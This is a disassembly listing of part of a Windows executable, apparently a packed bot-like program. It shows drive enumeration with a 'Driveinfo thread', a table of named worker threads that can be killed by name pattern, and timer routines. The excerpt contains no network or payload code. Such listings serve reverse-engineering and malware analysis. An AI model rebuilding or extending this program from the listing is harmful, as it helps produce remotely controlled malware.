		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0


loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h


loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: MEW:00416A06p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E2A0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E2A0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E2A0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0	; GetTickCount
		sub	eax, dword_41E2A0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: MEW:004168C6p
		push	ebp
		mov	ebp, esp
		and	dword_41E2C0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E2C8, eax
		push	offset dword_41E2A8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DE08, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DA80
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax


loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DE00
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E2C0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E2C0
		inc	eax
		mov	dword_41E2C0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		jmp	short loc_4096F1
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_4095A4+13Dj
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax


loc_4096F1:				; CODE XREF: sub_4095A4+145j
		mov	eax, [ebp+var_C]
		add	eax, 0Ch
		push	eax
		push	0
		push	[ebp+var_14]
		push	offset sub_4094E6
		push	0
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	ecx, [ebp+var_C]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_409753
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		push	198h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short locret_409761
; ---------------------------------------------------------------------------


loc_409753:				; CODE XREF: sub_4095A4+177j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		push	1
		pop	eax

locret_409761:				; CODE XREF: sub_4095A4+30j
					; sub_4095A4+7Cj ...
		leave
		retn
sub_4095A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409763	proc near		; CODE XREF: sub_401244+73p
					; sub_401244+547p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8]
		call	dword_4170A4	; CloseHandle
		push	198h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		pop	ebp
		retn
sub_409763	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097A7	proc near		; CODE XREF: sub_40A9CF+EBFp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 194h
		cmp	[ebp+arg_0], 0
		jnz	short loc_4097BB
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_4097BB:				; CODE XREF: sub_4097A7+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409825
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_409815
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	dword ptr [ecx+eax+4], 1


loc_409815:				; CODE XREF: sub_4097A7+3Fj
					; sub_4097A7+55j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_4098F1
; ---------------------------------------------------------------------------


loc_409825:				; CODE XREF: sub_4097A7+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		mov	[ebp+var_8], eax
		and	[ebp+var_194], 0
		jmp	short loc_40986A
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_4097A7:loc_4098E1j
		mov	eax, [ebp+var_194]
		inc	eax
		mov	[ebp+var_194], eax


loc_40986A:				; CODE XREF: sub_4097A7+B4j
		cmp	[ebp+var_194], 10h
		jnb	short loc_4098E6
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4098E1
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_190]
		push	eax
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_4098D9
		mov	eax, [ebp+var_194]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	dword ptr [ecx+eax+4], 1


loc_4098D9:				; CODE XREF: sub_4097A7+116j
		cmp	[ebp+var_8], 0
		jnz	short loc_4098E1
		jmp	short loc_4098E6
; ---------------------------------------------------------------------------


loc_4098E1:				; CODE XREF: sub_4097A7+E3j
					; sub_4097A7+136j
		jmp	loc_40985D
; ---------------------------------------------------------------------------


loc_4098E6:				; CODE XREF: sub_4097A7+CAj
					; sub_4097A7+138j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx

locret_4098F1:				; CODE XREF: sub_4097A7+Fj
					; sub_4097A7+79j
		leave
		retn
sub_4097A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098F3	proc near		; CODE XREF: sub_40A9CF+F13p

var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= byte ptr -194h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 19Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_409907
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_409907:				; CODE XREF: sub_4098F3+Dj
		push	[ebp+arg_0]
		call	sub_407A86
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	loc_4099B4
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		cmp	[ebp+var_4], 10h
		jnb	short loc_4099A4
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	short loc_4099A4
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_8], eax
		push	198h
		push	0
		mov	eax, [ebp+var_4]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_8]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle


loc_4099A4:				; CODE XREF: sub_4098F3+43j
					; sub_4098F3+59j
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx
		jmp	locret_409AD3
; ---------------------------------------------------------------------------


loc_4099B4:				; CODE XREF: sub_4098F3+22j
		push	[ebp+arg_0]
		push	offset aS	; "*%s*"
		push	185h
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 10h
		push	offset dword_41E2A8
		call	sub_409C6C
		pop	ecx
		mov	eax, dword_41E2C0
		mov	[ebp+var_C], eax
		and	[ebp+var_198], 0
		jmp	short loc_4099F9
; ---------------------------------------------------------------------------


loc_4099EC:				; CODE XREF: sub_4098F3:loc_409AC3j
		mov	eax, [ebp+var_198]
		inc	eax
		mov	[ebp+var_198], eax


loc_4099F9:				; CODE XREF: sub_4098F3+F7j
		cmp	[ebp+var_198], 10h
		jnb	loc_409AC8
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		cmp	dword ptr [ecx+eax+8], 0
		jz	loc_409AC3
		mov	eax, [ebp+var_C]
		dec	eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_194]
		push	eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		lea	eax, [ecx+eax+14h]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_409ABB
		mov	eax, dword_41E2C0
		dec	eax
		mov	dword_41E2C0, eax
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		mov	eax, [ecx+eax+8]
		mov	[ebp+var_19C], eax
		push	198h
		push	0
		mov	eax, [ebp+var_198]
		imul	eax, 198h
		mov	ecx, dword_41E2C8
		add	ecx, eax
		push	ecx
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	[ebp+var_19C]
		call	dword_4170E0	; TerminateThread
		push	[ebp+var_19C]
		call	dword_4170A4	; CloseHandle


loc_409ABB:				; CODE XREF: sub_4098F3+161j
		cmp	[ebp+var_C], 0
		jnz	short loc_409AC3
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409AC3:				; CODE XREF: sub_4098F3+12Aj
					; sub_4098F3+1CCj
		jmp	loc_4099EC
; ---------------------------------------------------------------------------


loc_409AC8:				; CODE XREF: sub_4098F3+10Dj
					; sub_4098F3+1CEj
		push	offset dword_41E2A8
		call	sub_409C7A
		pop	ecx

locret_409AD3:				; CODE XREF: sub_4098F3+Fj
					; sub_4098F3+BCj
		leave
		retn
sub_4098F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409AD5	proc near		; DATA XREF: sub_409BF1+2Ao

var_1A8		= byte ptr -1A8h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	1A3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
